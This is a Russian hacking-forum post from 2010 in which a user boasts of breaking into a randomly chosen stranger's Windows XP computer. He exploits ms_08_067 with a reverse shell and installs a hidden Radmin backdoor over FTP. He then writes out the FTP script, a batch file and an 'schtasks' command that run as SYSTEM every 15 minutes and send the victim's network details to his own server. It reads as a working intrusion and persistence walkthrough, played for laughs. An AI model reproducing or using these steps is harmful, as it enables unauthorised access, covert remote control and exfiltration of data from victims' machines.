Кто такие хакеры? Опции

[ArtMind]

Сабж

[D1ON1S]

аллерген, лана фиг с тобой, мну пиво ждет...

А воообще то.......

Эх... ностальгия.. сидя с пивком, и имея кучу свободного времени, раньше было так интересно узнать поближе, кто такие эти хакеры, и чем ты хуже их Шеллы, socks'ы, бэкдоры, руткиты, эксплойты.. ежедневное изучение http://securitylab.ru и http://securityfocus.com, обсуждение новеньких 0-day багов на античате, онлайн попойка в видеочатах на http://xakep.ru, угоны пятизначных асек и тд))
Щас времени мало, но иногда "напакостить" все же хочеца)) Хотя времена уже не те, народ стал как то продвинутее, антивирусы шустрее, не всегда злоумышленник успевает обогнать обновление антивирусных баз, технологии епть ))
Раньше компы рядовых пользователей были как дуршлаки, дырявые)) Один запуск Xpider'а выдавал шокирующие результаты, и это неудивительно.. интернет был для многих чем то новым, однако компьютеры новичков оказывались неподготовленными для хакеров. Было привычным делом протроянить целую подсетку за один вечер, и радоваца новенькой ботнет армией)))) Для DDoS'а канеш не хватало, но радостей было много.. продал чуток, на пиво хватило))

За пару лет интернет-юзер здорово изменился, компы стали защищеннее, поэтому у многих "хакеров" сдавали нервы и они бросали это гиблое дело и начинали уже наконец ходить в институт, кушать домашнюю еду вместо чипсов и пива ,смотреть телек и тд)) Однако на самом деле дыр все еще много, находят их регулярно, однако с ростом числа пользователей интернета, вся свежая инфа тщательнее скрывается от глаз чужих, но по-прежнему нещадно эксплуатируется где то, в конкретных целях. Хакеры не вымрут никогда.

Вот и щас, я сижу, пью пивко и вспоминаю те времена))) Захотелось че нить пакостное сделать, и сделаю щас)) Чисто так, поприкалываца:

Тотального взлома кодов пентагона я делать не умею, но на комп какойнить доброй и пушистой жертвы проникнуть попробую))

Для начала надо выбрать метод взлома.. Во-первых он должен быть беспалевным для юзера, т.е. жертва сидит за компом и не подозревает что в это время кто то упорно качает ее личные фотки к себе на винт))))
Ну да ладно, приступаю.

Находим жертву (соседа, девушку, бабушку, шефа и тд), общаемся в аське...
Для начала надо определить IP жертвы.. сделать это несложно в принципе, если только она (жертва) панически не страдает манией преследования и с легкостью скачает файлик по ссылке от меня)) Я не вирусмейкер, и вобще не люблю эту заразу, поэтому отсылаю реально безобидный файл:

Ок жерва качнула фотографию, посмотрела, прикольная картинка.. вирусов там нет.. однако я получил то что хотел:

Сервак с картинкой - мой комп с http-сервером, все просто, смотрю в логи - вижу ip.

Дальше больше. Допустим (только допустим, вариантов много) у жертвы USB ADSL мопед, т.е. все порты компа видны снаружи. Как обычно открыт 445 порт (Samba, служба сетевого доступа, общие папки), если он канеш не фильтруеца файрволом (тут тоже вариантов куча, но на все есть свой лом ), у юзера XP (дырявее чем виста или 7, хотя и там дырки есть). Юзаем уязвимость ms_08_067 опять же для примера.
Указываем параметры, указываем, что будем использовать реверс-шелл, т.е. при успешной атаке жертва сама приконнектица к нам на 4444 порт, зачем? У многих сетевые модемы, там NAT, пусть лучше они к нам, чем мы будем долюица к ним на непроброшеные порты)))):

Запускаем
Результат - успех)))


Открыт шелл)
После изучения инфы и компе и просмотра списка процессов

, переходим к заливке радмина
Проверим, что у жертвы реально прямой внешний ip:


Заливаем нехитрым способом через наш фтп, предварительно поднятый дома)):


Теперь делаем в консольке

ftp -v -n -s:.ra

и заветный файлик у жертвы на компе.
Запускаем радмина, он заранее подготовлен на скрытую установку и запуск с сохранением как служба ,с моим заданным паролем ))
Ну вот и все, дело сделано, тотальный контроль обеспечен)
Проверяем, открыт ли порт радмина:

Открыт))
Теперь делаем следущее,
Создаю файлик ip в системной папке:

open ********(мой фтп сервер)
user user
user
put ip.txt
bye

Далее создаю ip.bat следущего содержания там же:

ipconfig /all > %systemroot%/system32/ip.txt
ftp -v -n -s:ip

и добавляю его в планировщик задач на каждые 15 минут например

schtasks /create /tn "security" /sc minute /mo 15 /ru "NT AUTHORITY\SYSTEM" /tr %SYSTEMROOT%\system32\ip.bat

В итоге получаем текстовый файл с айпишником жертвы на своем компе каждые 15 минут. Для чего? IP у нас динамические и постоянно меняюца))) Вот и страрадостьюся))

Ну и наконец после долгих мучений, тайком заглядываем к жертве


Ничего не подозревая, жертва зырит какой то фильмец, через радмин не видно)))) Пока мы там такое устроили)))))

Уфффф повеселился))) Больше так не буду, делал чисто для ознакомительных целей, ниче не украл, никто не пострадал)))
Айпишник и данные жертвы засветил, но только потому что я ее не знаю, выбрал методом тыка))) Все уже оттуда удалил, можете не ломица)) Но на ее месте может быть любой! Я гарантирую это ))))

А прикиньте какая интересная жизнь у хакера, каждый день такое)))

Все пиво кончилось, пойду пофлужу))

Сообщение отредактировал D1ON1S - 30.7.2010, 23:21